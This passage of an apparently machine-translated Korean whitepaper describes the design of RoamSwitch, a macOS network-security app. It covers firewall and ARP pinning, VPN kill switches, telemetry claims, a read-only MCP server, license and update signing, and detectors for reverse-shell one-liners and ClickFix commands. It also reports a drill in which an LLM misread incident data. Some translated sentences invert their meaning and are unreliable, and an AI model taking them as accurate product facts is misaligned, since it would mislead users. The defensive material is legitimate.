applyMode())은 유효한 Pro 라이센스에서만 발생합니다. Pro가 없으면 모드는 저장되지만/etc/hosts은 절대 건드리지 않습니다. 라이센스 활성화 또는 만료는 세션 중에 적용됩니다. - 피드 및 번들 시드. 차단 목록은 서명된 위협 피드(§7, 피드 전용 키로 확인)에서 가져옵니다. 처음 가져오기 전에도 앱의 번들 시드(최대 60,000개 항목)에서 작동하며 '자동 업데이트'를 끄면 아웃바운드 트래픽이 없음을 의미합니다.
예방 게이트웨이 ARP/NDP 잠금 — 1.7.5 이상
메뉴 표시줄 → "포트 및 장치 모니터" → "신뢰할 수 없는 네트워크에 게이트웨이의 ARP/NDP 고정(예방)"(Pro, 기본적으로 꺼짐).
- 작동 방식. 신뢰할 수 없는 네트워크에 참가하면 IPv4 게이트웨이의 현재 MAC, IPv6 기본 라우터 및 온링크 DNS 확인자가
route/scutil --dns/arp -n/ndp -an에서 수집되고 도우미는 각각을arp -s/ndp -s을 사용하여permanent항목으로 고정합니다(처음 사용 시 신뢰 - 관찰된 첫 번째 MAC이 신뢰됨). 해당 IP에 대한 스푸핑된 ARP/NDP 응답은 무시되므로 중간자 공격을 설정할 수 없습니다. - Scope. 해당 세 가지 종류의 항목만 고정됩니다. 신뢰할 수 있는(개방형) 네트워크는 고정되지 않습니다. 네트워크가 변경될 때마다 한 번 잠금이 해제되고 다시 고정됩니다. 오프링크 공개 확인자(8.8.8.8, …)에는 온링크 ARP 항목이 없으며 자동으로 제외됩니다.
arp -s은 예방적입니다. 공극은 사실 뒤에 있습니다. 이 핀은 스푸핑이 성공할 수 없도록 존재합니다. ARP 스푸핑 감지(ARPSpoofContainmentManager) 및 긴급 공극은 일단 발견되면 "사람보다 더 빠르게 차단"하기 위해 존재합니다. 그들은 독립적으로 실행됩니다.- Persistence. 핀 세트는
/Library/Application Support/RoamSwitch/gateway_arp_lock.json에 저장되므로 XPC 재연결 또는 도우미 재시작 시 잠금이 해제될 수 있습니다.
VPN 터널(WireGuard/Tailscale) 및 해당 킬 스위치 — 1.7.6 이상, 1.8.0에서 선택 가능한 백엔드
메뉴 표시줄 → "포트 및 장치 모니터" → "VPN 터널"(Pro, 기본적으로 꺼져 있음). 이는 기본 반 MITM 방어입니다. 이는 L2(ARP/NDP)의 무결성에 의존하지 않습니다. 백엔드는 "WireGuard(구성 파일)"와 "Tailscale(종료 노드)" 사이에서 선택 가능합니다(하위 메뉴 → "백엔드"). RoamSwitch는 암호화 자체를 구현하지 않습니다. 선택한 백엔드만 활성화됩니다.
- (A) WireGuard 백엔드. Homebrew의
wireguard-tools(Apple 네트워크 확장 자격 없음)을 구동합니다. 자신만의.conf을 가져오세요. 도우미는 이를0600에 저장합니다. 킬 스위치: pfblock drop all과lo에 대해서만pass quick, 터널 인터페이스, 고정된 엔드포인트 IP에 대한 UDP 핸드셰이크, DHCP 및 ICMP. 전체 터널이 아닌AllowedIPs은 분할 터널 경고를 발생시킵니다. - (B) Tailscale 백엔드(1.8.0+). 이미 Tailscale을 실행하는 사용자용. RoamSwitch는 이 아니라
tailscale up을 실행/로그인/설치합니다. —tailscale status --json을 읽고tailscale set --exit-node=<node>을 실행합니다. 독립형 CLI(brew install tailscale)가 권장됩니다 — App Store(GUI) 빌드는 앱 외부(샌드박스)에서 구동될 수 없습니다. 이를 통해 Tailscale 앱에서 종료 노드를 선택하면 RoamSwitch에는 상태만 표시됩니다. 출구 노드가 필요합니다(모든 트래픽을 터널을 통해 라우팅합니다). 오프라인이 되거나 연결할 수 없는 경우 자동으로 해제됩니다. - 연결 끊김 시 네트워크 재구성. 독립 실행형 macOS
tailscaled은 종료 노드가 지워질 때 라우팅 + DNS를 완전히 복원하지 않으므로 RoamSwitch는 활성 네트워크 서비스를 바운스합니다(Wi-Fi를 수동으로 전환하는 것과 동일합니다. IPv4 주소가 있는 서비스만 다중 NIC 및 고정 IP에 안전함). ~5~10초 동안 트래픽이 감소하고 해당 기간 동안 보호 수준이 떨어지지 않습니다. - Tailscale 킬 스위치는 기본적으로 꺼져 있습니다(선택). 출구 노드는 이미 모든 것을 터널링합니다. pf
block drop all(CGNAT/MagicDNS/STUN/DERP/DHCP/ICMP/DNS만 허용)은 고급 사용자를 위한 것이며 "누출 방지가 아닌 누출 방지"입니다(DNS는 허용되므로tailscaled이 살아남습니다). - 자동/라이센스 손실 시. 신뢰할 수 없는 네트워크에 표시되고 신뢰할 수 있는 네트워크에 표시됩니다. Pro 라이센스가 만료되면 해제됩니다.
§6
등록하지 않은 네트워크에 연결하면 "보호 수준" 스위치가 사용되지 않습니다. pf. 나중에 되돌릴 수 있는 방식으로 표준 OS 설정을 변경하기만 하면 됩니다.
| 작동 | 구현 | 특권 | 복원 방법 |
|---|---|---|---|
| 방화벽 + 스텔스 모드 ON | 소켓필터fw --setblockall 켜짐 / --setstealthmode 켜짐 | 루트(도우미) | off 안전한 네트워크로 돌아올 때 |
| SSH/SMB/화면 공유 중지 | launchctl 언로드 -w | 루트(도우미) | 중지 시 실행 중인 항목만 기록하고 반환 시 load -w을 기록합니다(최신 macOS 복원을 보장하기 위해 SSH도 /usr/sbin/systemsetup -setremotelogin on에 연결됨). |
| AirDrop 비활성화 | 기본값은 com.apple.sharingd DiscoverableMode를 작성합니다. | 사용자(앱 자체) | 이전 값을 저장하고 반환 시 다시 씁니다. |
이 중 어느 것도 RoamSwitch가 추가하는 새로운 차단 메커니즘이 아니며 단지 OS 설정을 전환하는 것뿐입니다. 만약에 앱을 삭제하면 중지되는 유일한 것은 네트워크 종속 전환입니다. 마지막 OS 적용된 설정은 그대로 유지됩니다. 아무것도 잠겨 있지 않지만 실수를 하고 싶다면 안전하다면 제거하기 전에 신뢰할 수 있는 네트워크에서 다시 "열기"로 설정하세요.
§7
Mac에 남아 있는 것
| 데이터 | 위치 | 목차 |
|---|---|---|
| 라이센스 토큰 | 키체인 com.tetsuharu.RoamSwitch.license | Ed25519 서명 토큰. kSecAttrAccessibleAfterFirstUnlock |
| 앱 설정 / 가드 온-오프 | UserDefaults 제품군 com.tetsuharu.RoamSwitch | 신뢰할 수 있는 네트워크 등록, 보호 정책, 제외 목록 등 |
| pf 상태 | /라이브러리/애플리케이션 지원/ | 에어 갭 타임스탬프, 보호된 포트의 JSON, VPN 킬 스위치 상태, 적용되는 규칙 세트의 임시 파일 |
| 링크 가드 위협 피드 | ~/라이브러리/응용 프로그램 지원/ | 다운로드한 피싱/사기 도메인 목록(또는 아직 가져오지 않은 경우 앱의 번들 시드) 피드 버전이 UserDefaults에 있습니다. |
| Link Guard 관리 섹션 | /etc/호스트 | # BEGIN RoamSwitch link guard … # END로 구분된 섹션으로, 차단된 도메인을 0.0.0.0로 무효화합니다. 모드가 "끄기"인 경우 제거됨(§5) |
| ARP/NDP 잠금 핀 | /라이브러리/애플리케이션 지원/ | IP → MAC 세트는 예방 잠금(§5)에 의해 permanent으로 만들어졌습니다. 잠금 해제되면 삭제됨 |
| WireGuard 구성 | /Library/Application Support/0600) | 사용자가 가져온 .conf입니다. 엔드포인트 호스트 이름도 UserDefaults에 보관되어 있습니다(앱이 이를 해결함). |
| 장치 대체 UUID | 사용자 기본값 | IOKit이 UUID를 반환하지 않는 경우에만 생성되는 임의의 값(§9) |
| 로그 | os.Logger / NSLog | 통합 로깅. 외부로 아무것도 전송되지 않습니다. |
머신에서 나가는 트래픽(전체 목록)
진단 결과나 포트 정보, URL 등을 수집하고 전송하는 코드는 어디에도 없습니다. 로그. 분석 SDK 및 충돌 보고 SDK는 포함되어 있지 않습니다. 유일한 외부 라이브러리는 Sparkle입니다. (업데이트). 네트워크로 나가는 것은 이 8개이며 그게 전부입니다(사용자가 VPN을 구성하는 경우에만 6번째, RoamSwitch Sensor 페어링을 활성화한 경우에만 7번째).
| 연결 | 목적지 | 그런 일이 일어날 때 | 전송되는 내용 |
|---|---|---|---|
| 라이선스 활성화/비활성화 | lafine.net /api/v1/license/* |
사용자가 라이선스 키를 입력하거나 Pro를 비활성화하는 경우에만 | 라이센스 키, 장치 해시, 호스트 이름, 앱 버전. 개인 정보는 구매 시 Stripe에 의해 처리됩니다. 앱이 처리하지 않습니다 |
| 업데이트 확인 | lafine.net /updates/appcast.xml |
스파클, 24시간마다 및 출시 시 | HTTP 요청(표준 UA 및 버전) 다운로드한 항목은 EdDSA 서명(§10)으로 확인됩니다. |
| 링크 가드 위협 피드 | lafine.net /updates/v1/{매니페스트, 피드/<버전>.txt} |
Link Guard(§5)가 켜져 있고 "자동 업데이트"가 활성화된 경우 24시간마다(및 시작 시). '자동 업데이트'를 끄면 이 경로가 제거됩니다. | GET만 가능합니다. 쿼리 문자열도 없고, 쿠키도 없고, 기계를 식별하는 어떤 것도 없습니다. 수신 전용 서명된 정적 파일. 매니페스트와 피드 본문은 모두 Ed25519로 확인되었습니다. 서명 키는 피드 전용입니다. — 앱 업데이트 SUPublicEDKey의 별도 키입니다(따라서 누출은 "잘못된 차단 목록"으로 제한됩니다). |
| 패키지 CVE 대조 / 실증형 취약점 진단 업데이트 데이터 | lafine.net /updates/v1/manifest |
앱 실행 시점부터 24시간마다(항상. 패키지 CVE 대조 업데이트 데이터는 끄는 설정이 없습니다. 로컬 목록 대조에만 사용되는 수신 전용 데이터이기 때문에 항상 가져옵니다. 실증형 취약점 진단의 CVE 맵은 "실증형 취약점 진단(능동적 도달 확인)"을 활성화한 경우에만 가져옵니다) | GET만 가능합니다. 쿼리 문자열도, 쿠키도, 기기를 식별하는 어떤 정보도 없습니다. 수신 전용 서명된 정적 파일이며, 매니페스트와 피드 본문 모두 Ed25519로 검증됩니다. Link Guard 위협 피드와 동일한 키·동일한 매니페스트를 재사용하지만, 실제로 가져오는 피드 자체(Homebrew/npm/PyPI/crates.io/RubyGems/Packagist/Go/Maven의 알려진 CVE 맵, 실증형 취약점 진단의 CVE 맵, 오타스쿼팅 탐지에 사용하는 인기 npm 패키지 이름 목록)는 별도 파일입니다 |
| ClamAV 바이러스 정의 업데이트 | ClamAV 공식 미러 | 사용자가 ClamAV를 설치하고 스캔 기능을 사용하는 경우에만 해당됩니다. freshclam이(가) 실행됩니다. |
표준 ClamAV 정의 가져오기. RoamSwitch에서 파생된 정보가 포함되어 있지 않습니다. |
| VPN 터널(§5, WireGuard / Tailscale) | 사용자가 구성한 WireGuard 엔드포인트 또는 Tailscale 컨트롤 플레인(Tailscale, Inc.) | 사용자가 VPN 터널(Pro, 기본적으로 꺼져 있음)을 설정하고 신뢰할 수 없는 네트워크에 연결된 경우에만 발생합니다. WireGuard를 선택한 경우 터널이 시작되기 전에 엔드포인트 호스트 이름이 DNS를 통해 한 번 확인됩니다. Tailscale을 선택한 경우, 이는 사용자가 이미 설치하고 로그인한 tailscaled가 처리하는 컨트롤 플레인 통신이며, RoamSwitch는 tailscale status --json을 읽고 tailscale set --exit-node=를 실행할 뿐입니다. | WireGuard 선택 시: WireGuard 핸드셰이크(UDP) 및 터널 내부 트래픽. 대상은 사용자 자신의 VPN 서버이고 내용은 사용자 자신의 트래픽입니다. Tailscale 선택 시: 사용자 자신의 Tailscale 계정과 Tailscale, Inc.의 컨트롤 플레인 간의 통신(기기 등록, DERP 릴레이 등, Tailscale 자체 개인정보 처리방침을 따름). 어느 경우든 RoamSwitch는 식별자와 진단 데이터를 추가하지 않습니다. |
| RoamSwitch Sensor 페어링・감사 연동 | 동일 LAN에 있는 RoamSwitch Sensor(사용자 본인이 설치하고 고정 IP로 운용하는 기기) | “RoamSwitch Sensor 페어링”(Pro, 기본값 꺼짐)을 활성화하고 Sensor의 IP 주소와 페어링 코드를 입력해 페어링했을 때(1회성 통신)만. 페어링 후에는 “Sensor에 감사 요청”을 눌렀을 때, 그리고 결과 자동 취득(요청 5분 후부터 5분 간격으로 최대 5회) 시에 동일한 Sensor의 고정 IP 주소로 접속합니다 | 페어링 시에는 자신의 호스트 이름과 Ed25519 공개 키를 전송하고, Sensor가 발급한 공개 키를 수신합니다. 감사 요청・결과 취득은 Ed25519 서명으로 인증된 통신이며, 전송하는 것은 서명이 있는 요청뿐입니다. 진단 결과나 포트 정보 자체는 Sensor로부터의 응답으로만 수신하며, 파일 내용이 전송되는 일은 없습니다. 통신 대상은 사용자 본인이 설치한 Sensor의 고정 IP 주소뿐이며, lafine.net을 포함한 외부 서버에는 전혀 도달하지 않습니다. 상호 신뢰는 페어링 코드를 통한 명시적인 조작으로만 성립됩니다 |
| 결제 페이지 | 스트라이프 체크아웃 | 사용자가 구매 버튼을 누른 경우에만(브라우저에서 열립니다) | — (브라우저 탐색) |
여기서 "제로 텔레메트리(Zero Telemetry)"란 사용 데이터를 수집하고 전송하는 텔레메트리가 없거나 진단 결과. 이는 네트워크 트래픽이 전혀 없다는 의미는 아닙니다. 그 안에 있는 여덟 가지 길 위의 테이블이 존재합니다. 그러나 그 각각은 사용자가 시작하는 것이거나 서명 확인, receive-only 가져오기 및 진단 결과, 포트, URL, Mac의 파일 콘텐츠는 절대 떠나지 마세요.
Link Guard 위협 피드(3행)는 "아무 것도 보내지 않음" 위에 "업데이트를 가져옵니다"를 추가합니다. 방어. 둘은 별도로 유지됩니다. Linux 백서 §1.1에서도 마찬가지로 "Zero "수신 전용 업데이트"의 "원격 측정"입니다. "자동 업데이트"를 끄면 Link Guard가 번들에서 실행됩니다. 데이터(~60,000개의 피싱/사기 도메인)와 오프라인 동형이의어 탐지를 수행하며 이 경로는 발생하지 않습니다.
VPN 터널(6행)은 사용자가 자신의 WireGuard 서버를 구성하거나, Tailscale 백엔드를 선택하고 자신의 Tailscale 계정으로 tailscaled에 이미 로그인한 경우에만 발생하며, 목적지와 내용은 사용자의 통제하에 있습니다. RoamSwitch는 터널을 열거나 킬 스위치를 유지하거나 Tailscale 상태를 읽어 Exit Node를 전환할 뿐, 식별자나 사용 데이터를 추가하지 않습니다. VPN이 구성되지 않은 경우, 이 경로는 존재하지 않습니다.
RoamSwitch Sensor 페어링(7행)은 Pro 전용이며 기본값이 꺼짐인 기능으로, 활성화하지 않는 한 이 경로는 존재하지 않습니다. 페어링 자체는 Sensor 운영자가 발급한 페어링 코드와 Sensor의 고정 IP 주소를 입력하는 명시적인 조작으로만 성립됩니다. 페어링 이후의 통신(감사 요청・결과 취득)도 모두 사용자 본인이 소유한 동일한 고정 IP 주소로 이루어지며 Ed25519 서명으로 인증됩니다. lafine.net을 포함한 어떠한 외부 서버에도 도달하지 않습니다. 진단 결과나 파일 내용은 Sensor로부터의 응답 이외의 형태로는 전송되지 않습니다.
인앱 "링크 안전 확인" 시트는 대상 URL에 HEAD 요청을 보냅니다.
단축된 URL이 도착하는 곳(개인 또는 로컬 주소로의 리디렉션이 다음에 의해 중지됨)
v1.4.5 SSRF 완화). 이와 대조적으로 MCP audit_url_safety은 오프라인 분석입니다.
그 자리에서 완료되고 아무데도 URL을 보내지 않습니다(§8).
이것은 단지 주장된 것이 아닙니다. 2026년 8월 29일에 실행 중인 1.4.7 설치가 감사되었습니다.
tcpdump + 프로세스별 속성(nettop / lsof / 필터링됨
pktap 캡처) + LuLu, ~2시간 동안 보안 수준이 고정됨
최대 잠금 및 앱캐스트 확인이 강제됩니다.
Result: RoamSwitch, RoamSwitchHelper로 인한 아웃바운드 흐름이 없습니다.
또는 lafine.net에 대한 appcast 확인 이외의 RoamSwitchMCPServer; MCP
서버의 유일한 소켓은 localhost였습니다. 자격 덤프가 비어 있습니다.
전체 작성 및 누구나 실행하여 재현할 수 있는 스크립트: 감사/결과-2026-08-29.md
이 측정은 Link Guard 위협 피드(1.7.2, 3행) 및 VPN 이전인 1.4.7에서 나온 것입니다.
터널(1.7.6, 5행). 1.7.2 이상에서 감사하면 two 수신 전용이 표시됩니다.
GETs ~ lafine.net(앱캐스트 및 위협 피드) VPN인 경우
구성되면 사용자 자신의 WireGuard 서버에 대한 UDP도 볼 수 있습니다(대상 및 내용
사용자의 통제하에 있음). "자동 업데이트: 끄기"를 선택하면 VPN이 구성되지 않아 이 모든 것이 사라집니다.
§8
RoamSwitchMCPServer은(는) 번들로 제공되는 독립형 명령줄 도구입니다.
RoamSwitch.app/Contents/MacOS/. Claude Desktop 또는 Claude Code와 같은 MCP 클라이언트
하위 프로세스로 시작하고 stdio(줄바꿈으로 구분된 JSON-RPC)를 통해 통신합니다.
2.0). 공식 SDK는 이 시스템의 macOS SDK에 대해 빌드되지 않으므로
Foundation의 JSONSerialization 위에 직접 구현했습니다.
디자인이 제약하는 것
- 읽기 전용입니다. 보안 수준 변경, 포트 격리 또는 장치 꺼내기를 위한 API가 없습니다. 이것은 v1에서 잊혀진 것이 아니라 의도적으로 생략된 것입니다. 외부 코드(여기서는 LLM)가 보안 도구의 보호 상태를 다시 작성하도록 허용하면 모든 사용자에 대한 신뢰가 무너질 수 있습니다.
- 소켓을 열지 않습니다. 서비스를 등록하지도 않고 청취하지도 않습니다. stdin에서 한 줄을 읽고 stdout에서 한 줄을 반환한 다음 클라이언트가 프로세스를 종료합니다.
- 아무 것도 전송하지 않습니다. 모든 진단은 Mac 내부에서 완료됩니다.
- 다른 도메인에서 설정을 읽습니다.
UserDefaults(suiteName: "com.tetsuharu.RoamSwitch")은 앱의 도메인을 명시적으로 읽습니다(자체 번들 ID 도메인이 비어 있음). 읽기만 합니다. 그것은 쓰지 않습니다.
노출되는 도구
| 도구 | 반환되는 내용 | 교통 |
|---|---|---|
| get_security_report | 점수 및 항목별 개선 조언이 포함된 18개 항목 진단(FileVault / SIP / Gatekeeper / 자동 업데이트 / XProtect / 방화벽 / Wi-Fi 암호화 / ARP / 게이트웨이 ARP 고정 / SSH 설정 감사 / Sudo NOPASSWD 감사 / 노출된 포트 / 가드 구성 등) | 로컬 전용 |
| get_exposed_ports | 수신 TCP 포트 목록입니다. localhost 이상으로 노출된 모든 경우 알려진 위험한 서비스 DB를 상호 참조하고 HTTP 프로브를 사용하여 CORS/헤더를 127.0.0.1:port(로컬, 폐쇄형)으로 확인합니다. | 127.0.0.1에 대한 프로브만 |
| get_guard_status | Pro 자동 응답 가드의 켜짐/꺼짐 상태(포트 이상/ARP/USB/블루투스/웹+메일 다운로드/DNS 위협 보호), 현재 보호 수준 및 신뢰할 수 있는 네트워크 상태 | 로컬 전용 |
| audit_url_safety | 피싱/동형이의어(유니코드 스푸핑)/브랜드 하위 도메인 스푸핑/고위험 TLD/일반 텍스트 HTTP에 대한 URL 판단. 동기적이며 완전히 오프라인입니다(analyzeURL; 리디렉션을 따르지 않습니다) | 없음 |
| get_app_help | 번들로 제공되는 지식 베이스의 전체 텍스트 검색(기능 사양/설정/문제 해결/알림 메시지 설명) | 없음 |
| audit_secrets | 텍스트·파일·디렉터리에서 API 키와 개인 키 유출을 탐지합니다(탐지된 값은 마스킹되어 출력). | 없음 |
| audit_security_logs | 최근 보안 로그(Mac: Sudo 인증 실패, SSH 무차별 대입 시도, Gatekeeper 차단, XProtect 탐지 등 / Linux: Sudo 인증 실패, SSH 무차별 대입, 방화벽 차단, AppArmor 거부, ClamAV 탐지 등)를 집계하고 API 키나 토큰 등 민감 정보를 자동으로 마스킹한 뒤, 로그 패턴을 템플릿화한 신규 패턴 탐지 및 빈도 이상(통계적 스파이크) 탐지 결과도 반환합니다. | 로컬 전용 |
| run_active_vuln_scan | 127.0.0.1 한정·비파괴 실증형 취약점 검증. 유일하게 네트워크를 사용하는 도구이며 기본값은 비활성, 설정에서 옵트인이 필요합니다. | 127.0.0.1 한정(기본값 OFF) |
| run_package_cve_scan | 설치된 패키지(Mac: Homebrew / Linux: dpkg・dnf・zypper・pacman)를 로컬 CVE 맵과 대조합니다. 네트워크 통신은 전혀 하지 않습니다. | 없음 |
| run_package_cve_scan_languages | npm / PyPI / crates.io / RubyGems / Packagist / Go / Maven 등의 의존성 락파일을 동일한 로컬 CVE 맵과 대조합니다. 네트워크 통신은 전혀 하지 않습니다. | 없음 |
| get_quarantine_status | 악성코드 격리 Vault의 내용(원래 경로·탐지된 위협명·격리 일시·크기)을 반환합니다. | 로컬 전용 |
| get_canary_status | 랜섬웨어 카나리아(미끼 파일) 배치 상태와 최근 50건까지의 탐지 인시던트를 반환합니다. | 로컬 전용 |
| get_notification_history | RoamSwitch가 보낸 알림(보안 로그 감사 이상, ClickFix 탐지 등)의 기록을 최근 1주일간, 최신순으로 반환합니다. | 로컬 전용 |
| get_port_anomaly_incidents | 포트 이상 가드의 베이스라인 확보 상태, 현재 자동 차단 중인 포트, 최근 50건까지의 인시던트를 반환합니다. 현재 자동 차단 중인 포트는 타임스탬프가 없는 현재 상태의 스냅샷이며, 타임스탬프가 있는 인시던트 이력과는 다르다는 점을 응답 내 주석 필드로 명시하고 있습니다. | 로컬 전용 |
| get_runtime_threat_status | XProtect의 악성코드 탐지로 이 Mac이 Air-Gap 격리되었는지와 그 발동 인시던트를 반환합니다. Air-Gap 원인을 파악하려면 가장 먼저 확인하세요. | 로컬 전용 |
initialize 응답의 instructions 필드에도 다음과 같이 명시되어 있습니다.
"보안 수준을 변경하거나, 포트를 격리하거나, 장치를 꺼낼 수 없습니다"라는 기능을 전달합니다.
클라이언트 측 LLM에 대한 경계입니다. MCP 리소스(roamswitch://docs/*)는 읽기 전용입니다.
마크다운 문서도 마찬가지입니다.
2026년 9월, 이 MCP 서버를 사용해 로컬 LLM(Qwen 3.8 27B)에게 사고 조사를 맡기는 실전 훈련(fire drill)을 진행하던 중, 모델이 get_port_anomaly_incidents가 반환하는 데이터를 잘못 해석하여 무관한 과거의 포트 차단 기록을 현재 진행 중인 사고의 서사에 끌어들이는 사례를 발견했다. 원인은 타임스탬프가 없는 '현재 차단 중인 포트'의 스냅샷과, 타임스탬프가 있는 실제 사고 이력이 같은 응답 안에서 구분 없이 반환되고 있었기 때문이다. 수정 사항으로, 어느 쪽이 시계열 데이터이고 어느 쪽이 스냅샷인지를 명시하는 주석 필드를 추가했다. 수정 후 동일한 시나리오를 같은 모델로 다시 실행한 결과, 모델은 주석의 문구를 인용하며 과거의 포트를 현재 사고에 귀속시키는 것을 명시적으로 거부했다. 자동 회귀 테스트와 실제 LLM 재현 확인 양쪽에서 수정의 효과를 검증했다.
이 서버와, 여기서 사용하는 탐지 로직(ARP 모니터링, 포트 스캔,
포트 감사, 18개 항목 상태 점검, URL 안전성 분석)의 소스는
github.com/lafine1211/roamswitch-mcp에 공개되어 있습니다(MIT,
출시 코드의 미러, 릴리스마다 태그됨). "읽기 전용인지", "LLM에 무엇을 전달하는지",
"외부로 아무것도 보내지 않는지"를 코드에서 직접 확인할 수 있습니다. 특권 도우미·pf 제어·실제로
차단하는 각 가드·라이선스는 포함하지 않습니다(본체 저장소에 그대로 유지됩니다).
미러링된 단위 테스트, 적대적 입력 테스트, 돌연변이 퍼징 등의 테스트도 함께 제공됩니다.
swift test에 의해 실행되고 CI에서 확인되었습니다. Fuzzing은 하나의 무방비 충돌을 발견했습니다.
(깊게 중첩된 JSON 객체의 JSONSerialization 스택 오버플로) 그것은 고정되어있다
파서보다 먼저 중첩 깊이를 확인하고 SECURITY_TESTING.md에 기록합니다.
§9
토큰
- Ed25519(Curve25519 서명)를 사용합니다. 공개 키는 앱(
LicenseVerifier.embeddedPublicKeyBase64)에 내장되어 있습니다. 해당 개인 키는 라이선스 백엔드(Firebase Functions 환경 변수)에만 존재하며 저장소에는 없습니다. - 서명된 데이터는 표준 JSON입니다. 서명은
JSONEncoder의.sortedKeys및.withoutEscapingSlashes을 사용하여LicensePayload(라이센스 키, 계층, 장치 해시, 발급 장소, 만료, 좌석 수)을 인코딩하여 생성된 정확한 바이트를 통해 생성되고 확인됩니다. - Fail Closed로 설계되었습니다. 내장된 키가 없거나 형식이 잘못된 경우 또는 서명이나 표준 JSON을 생성할 수 없는 경우 결과는 "확인"되지 않고
invalidSignature을 반환합니다.
장치 바인딩
device_hash = SHA-256( "RoamSwitch-LifetimeSalt-v1" : lowercase(IOPlatformUUID) )
원시 하드웨어 UUID는 서버로 전송되지 않습니다. IOKit이 다음을 반환하지 않는 드문 경우입니다.
UUID, UserDefaults에 보관된 임의의 UUID로 대체됩니다. 확인 시 다음과 같은 경우
토큰의 device_hash이 현재 장치 해시와 일치하지 않습니다. 결과는 다음과 같습니다.
deviceMismatch.
오프라인으로 작동합니다
validateSavedLicense()이 시작 시 수행하는 작업은 키체인에서 토큰을 읽고
내장된 공개 키를 사용하여 로컬에서 확인하세요. 네트워크에 연결되지 않습니다. 만약
라이센스 서버가 종료되더라도 Pro 기능은 이미 활성화된 Mac에서 계속 작동합니다.
새로운 활성화와 명시적인 비활성화를 위해서만 서버에 연결됩니다. 는
서버에 대한 비활성화 알림은 최선의 노력입니다. 실패하더라도 로컬 비활성화는
항상 완료됩니다.
기본값은 일회성(평생) 구매입니다. expires_at은 다음 경우에만 확인됩니다.
is_lifetime은 거짓입니다. 좌석 수는 등급별로 표시됩니다(개인 Pro는 2개, Pro는 5개).
팀.
§10
서명 및 공증(scripts/release.sh)
xcodebuild archive(릴리스, 수동 서명, 개발자 ID 애플리케이션)을 실행합니다.-exportArchive을(를) 사용하여method: developer-id로 내보냅니다.notarytool submit --wait다음에 .app에서stapler staple을 실행합니다.spctl -a -t exec -vv로 확인하세요.- 스테이플링 후을 다시 압축하여 Sparkle 업데이트 아티팩트를 생성합니다(따라서 공증 티켓이 포함되고 Gatekeeper 경고 없이 오프라인으로 실행됩니다).
- DMG를 구축하고, DMG도 공증 및 스테이플링하고,
stapler validate로 확인합니다.
업데이트(스파클 2.9.6)
| 열쇠 | 가치 |
|---|---|
| SU피드URL | https://lafine.net/updates/appcast.xml |
| SUPublicED키 | CNxzwijMzMCJzliId76Yl88S/9np6t/xg/zQ9YbYzHs= |
| SUEnableAutomaticChecks | 사실 |
| SUScheduledCheckInterval | 86400 |
업데이트가 적용되기 전에 앱캐스트에 나열된 EdDSA 서명이 확인됩니다.
앱에 내장된 SUPublicEDKey에 반대합니다. 개인 서명 키는 다음에만 존재합니다.
빌드 환경. 앱캐스트는 HTTPS를 통해 제공됩니다. 델타 업데이트는 서명 검증을 거쳤습니다.
같은 방식으로.
appcast.xml URL이 공개되어 있다는 사실 자체는 약점이 아닙니다. 내용
버전 번호, 릴리스 노트, 다운로드 URL, 파일 크기 및 EdDSA 서명만 있습니다.
각 빌드 — 비밀은 없습니다. 신뢰의 닻은 "전송 중인 앱캐스트가 진짜인지"가 아니라
앱에 구운 공개 키로 아티팩트의 서명을 확인합니다. 할 수 있는 공격자
앱캐스트(MITM, DNS 하이재킹, 웹 호스트 손상)를 완전히 교체했지만 여전히 푸시할 수 없습니다.
서명 키가 없는 악성 업데이트. Gatekeeper(개발자 ID 및 공증)는
두 번째 문.
두 가지 위험이 남아 있습니다. 하나는 호스트가 다운되거나 앱캐스트가 손상되어 업데이트가 도착하지 않는 것입니다. (잘못된 설치는 발생하지 않습니다. 단순히 업데이트되지 않습니다.) 다른 하나는 동결 공격이다. 의도적으로 보안 업데이트를 보류합니다. Sparkle 2.x는 확인을 통해 다운그레이드 및 재생을 거부합니다. 버전 순서를 정하고 있지만 동결을 완벽하게 방지하려면 다음을 갖춘 전용 업데이트 서버가 필요합니다. 만료. 그것은 해결해야 할 목록에 있습니다.
§11
RoamSwitch가 처리할 대상
- 동일한 LAN에 있는 공격자 또는 손상된 IoT 장치에서 검색 및 공격합니다. 스텔스, 노출된 포트 감사 및 외부로부터의 격리로 대응합니다.
- 신뢰할 수 없는 네트워크에 노출됩니다. 서비스 및 AirDrop 공유가 자동으로 중지됩니다.
- 중간자 공격(ARP/NDP 스푸핑). 1.7.6부터 이는 다음과 같이 계층화됩니다. (1) VPN 터널 + 킬 스위치(§5, 기본 방어 — L2 무결성에 의존하지 않음), (2) 신뢰할 수 없는 네트워크의 예방 게이트웨이 ARP/NDP 핀(§5), (3) 긴급 에어갭을 통한 스푸핑 감지(사후). All Pro, 기본적으로 꺼져 있음(감지는 기본적으로 켜져 있음)
- 인증 없이
0.0.0.0에 노출된 개발 서버 및 데이터베이스(Redis, MongoDB, Elasticsearch 등)를 찾아 외부에서 차단합니다. - 랜섬웨어와 같은 무단 암호화 활동을 조기에 포착하고 모든 트래픽을 차단합니다(서명에 의존하지 않음).
- 자동 명령 주입 공격을 방지하기 위해 승인되지 않은 USB 키보드/케이블(Rubber Ducky, O.MG 케이블 등)에서 키 입력을 가로채서 삭제하는 BadUSB 및 물리적 키보드 승인 가드(
USBKeyboardGuard, CGEventTap + IOKit). - 알 수 없는 USB 저장소에 대한 승인 프롬프트(인식되지 않은 드라이브는 즉시 꺼내지 않고 읽기 전용으로 유지됨) 및 연결된 저장소에 대한 자동 ClamAV 검사(선택 사항).
- 클립보드에 있는 민감한 API 키(OpenAI, Anthropic, GitHub, AWS 등)를 완전히 로컬에서 감지하여, 웹 양식이나 AI 채팅에 실수로 붙여넣는 것을 사전에 방지합니다.
- Hugging Face나 웹에서 다운로드한 위험한 Pickle 형식 AI 모델 파일(임의 코드 실행 위험)을 감지하고 경고합니다.
- 다운로드 파일 내의 업계 표준 EICAR 테스트 서명과, 공개된 정통적인 리버스 셸 한 줄 명령(
StaticSignatureScanner, 1.8.7~, ClamAV 미설치 환경에서도 동작). - 원시 스크립트 인터프리터를 직접 호출하는, 새로 등록된 LaunchAgent/LaunchDaemon 자동 실행 등록(
PersistenceMonitorGuard, 1.8.7~). - 가짜 경고 화면이 사용자 자신에게 Terminal에서 명령을 실행하도록 유도하는 "ClickFix" 유형 공격을 알려진 의심스러운 명령 패턴의 셸 히스토리 모니터링으로 탐지하여 긴급 Air-Gap을 발동합니다(
ClickFixGuard, 1.8.7~, Pro, 기본적으로 꺼짐). - --privileged 실행이나 /var/run/docker.sock 바인드 마운트 등 컨테이너 탈출 위험이 있는 Docker 설정을 새로 시작되는 순간 감지하여 알립니다(
